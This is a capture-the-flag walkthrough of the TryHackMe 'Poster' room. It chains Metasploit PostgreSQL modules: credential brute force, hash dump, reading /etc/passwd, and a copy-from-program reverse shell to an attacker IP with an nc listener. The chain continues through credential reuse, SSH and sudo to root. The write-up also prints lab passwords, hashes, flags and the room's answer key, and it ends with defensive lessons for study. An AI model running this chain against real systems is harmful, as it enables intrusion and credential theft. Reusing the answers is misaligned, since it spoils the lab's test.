Room Link: https://tryhackme.com/room/poster

My Profile: https://tryhackme.com/p/RayenHafsawy

🧭 Introduction

In this write-up, I demonstrate how I compromised a target machine by chaining multiple techniques — including PostgreSQL credential brute forcing, hash dumping, file reading via Metasploit modules, remote code execution, and credential reuse — to achieve full root access.

This lab is a perfect example of how an exposed database service with weak credentials can cascade into complete system compromise.

🔍 1. Initial Reconnaissance

I started with a standard Nmap scan to identify open ports and services:

nmap -sV 10.112.133.182

📊 Result:

Port 22   → SSH        (OpenSSH 7.2p2 Ubuntu)
Port 80   → HTTP       (Apache 2.4.18)
Port 5432 → PostgreSQL (9.5.8 - 9.5.23)

💭 An exposed PostgreSQL port is always a high priority target — database services running publicly are frequently misconfigured with weak credentials.

🔑 2. PostgreSQL Login Brute Force

I launched Metasploit and used the PostgreSQL login scanner:

use auxiliary/scanner/postgres/postgres_login
set RHOSTS 10.112.133.182
run

✅ Result: Valid credentials found:

Username : postgres
Password : password
Database : template1

💭 Default and weak database credentials are one of the most common misconfigurations in production environments — always change them immediately after installation.

🗄️ 3. PostgreSQL Version Enumeration

I confirmed the database version using the SQL auxiliary module:

use auxiliary/admin/postgres/postgres_sql
set RHOSTS 10.112.133.182
set PASSWORD password
run

📊 Result:

PostgreSQL version : 9.5.21

🔓 4. Hash Dumping

I extracted all user hashes from the database:

use auxiliary/scanner/postgres/postgres_hashdump
set RHOSTS 10.112.133.182
set PASSWORD password
run

📊 Result: 6 user hashes dumped:

darkstart  → md58842b99375db43e9fdf238753623a27d
poster     → md578fb805c7412ae597b399844a54cce0a
postgres   → md532e12f215ba27cb750c9e093ce4b5127
sistemas   → md5f7dbc0d5a06653e74da6b1af9290ee2b
ti         → md57af9ac4c593e9e4f275576e13f935579
tryhackme  → md503aab1165001c8f8ccae31a8824efddc

⚠️ MD5 hashed database passwords are trivially crackable — always use stronger hashing and restrict database user permissions.

📂 5. File Reading via PostgreSQL

I used the file read module to access sensitive files on the server:

use auxiliary/admin/postgres/postgres_readfile
set RHOSTS 10.112.133.182
set PASSWORD password
run

📊 Finding: /etc/passwd contents revealed system users including:

alison : x:1000:1000 → /home/alison
dark   : x:1001:1001 → /home/dark

💭 A database user with file read privileges can access any file readable by the postgres system user — always apply the principle of least privilege.

💉 6. Remote Code Execution — Reverse Shell

I used the PostgreSQL command execution exploit to get a shell:

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set RHOSTS 10.112.133.182
set PASSWORD password
set LHOST <ATTACK_IP>
run

With a listener ready:

nc -lnvp 4444

✅ Result: Shell obtained as postgres user.

🔐 7. Credential Discovery — dark & alison

Inside the postgres shell I found credentials in /home/dark/credentials.txt:

dark:qwerty1234#!hackme

➡️ I also found database credentials in /var/www/html/config.php:

$dbuname = "alison";
$dbpass  = "p4ssw0rdS3cur3!#";
$dbname  = "mysudopassword";

➡️ I SSH'd in as alison using the config file password:

ssh alison@10.112.133.182
# Password: p4ssw0rdS3cur3!#

✅ Result: Shell obtained as alison.

💭 Config files in web roots are a goldmine — always check /var/www/html/ for database credentials after gaining initial access.

👤 8. User Flag

cat /home/alison/user.txt

🏁 Flag: THM{postgresql_fa1l_conf1gurat1on}

⚙️ 9. Privilege Escalation — Full Sudo Access

I checked sudo permissions:

sudo -l

📊 Finding:

User alison may run the following commands on ubuntu:
(ALL : ALL) ALL

➡️ Full unrestricted sudo access — I escalated immediately:

sudo su -

✅ Result: Root shell obtained.

💭 A user with unrestricted sudo access is effectively root — always apply the principle of least privilege to sudo rules.

👑 10. Root Flag

cat /root/root.txt

🏁 Flag: THM{c0ngrats_for_read_the_f1le_w1th_credent1als}

📋 Lab Questions & Answers

What is the rdbms installed on the server? PostgreSQL

What port is the rdbms running on? 5432

What is the full path of the login auxiliary module? auxiliary/scanner/postgres/postgres_login

What are the credentials you found? postgres:password

What is the full path of the SQL execution module? auxiliary/admin/postgres/postgres_sql

What is the rdbms version installed on the server? 9.5.21

What is the full path of the hash dump module? auxiliary/scanner/postgres/postgres_hashdump

How many user hashes does the module dump? 6

What is the full path of the file read module? auxiliary/admin/postgres/postgres_readfile

What is the full path of the command execution exploit module? exploit/multi/postgres/postgres_copy_from_program_cmd_exec

What is the user flag? THM{postgresql_fa1l_conf1gurat1on}

What is the root flag? THM{c0ngrats_for_read_the_f1le_w1th_credent1als}

🔗 Attack Path Overview

Recon          ➝ PostgreSQL (5432) exposed publicly
Metasploit     ➝ postgres:password brute forced
Hash Dump      ➝ 6 MD5 hashes extracted
File Read      ➝ /etc/passwd reveals users: alison, dark
RCE            ➝ postgres_copy_from_program → shell obtained
credentials.txt➝ dark:qwerty1234#!hackme found
config.php     ➝ alison:p4ssw0rdS3cur3!# found
SSH            ➝ alison shell obtained
sudo -l        ➝ Full unrestricted sudo access
sudo su        ➝ Root shell obtained

🧠 Lessons Learned

Never expose database services publicly — PostgreSQL should be firewalled and accessible only internally Default and weak database credentials are an open invitation to attackers Database users with file read privileges can access sensitive system files Config files in web roots frequently contain reusable credentials — always restrict file permissions MD5 database password hashes provide minimal security — use stronger algorithms Unrestricted sudo access is equivalent to root — always apply least privilege to sudo rules

🎯 Conclusion

This lab demonstrates how an exposed PostgreSQL service with weak credentials can cascade through hash dumping, file reading, remote code execution, and credential reuse into complete root compromise.

💡 The real lesson here is that a single exposed database port with a default password can hand an attacker the entire system — database security is not optional.

✍️ About the Author

Rayen Hafsawy Cybersecurity student focused on penetration testing and CTF challenges. 📧 rayenhafsawy@gmail.com

🚀 Follow My Journey

I regularly share write-ups and my cybersecurity journey. More content coming soon 🚀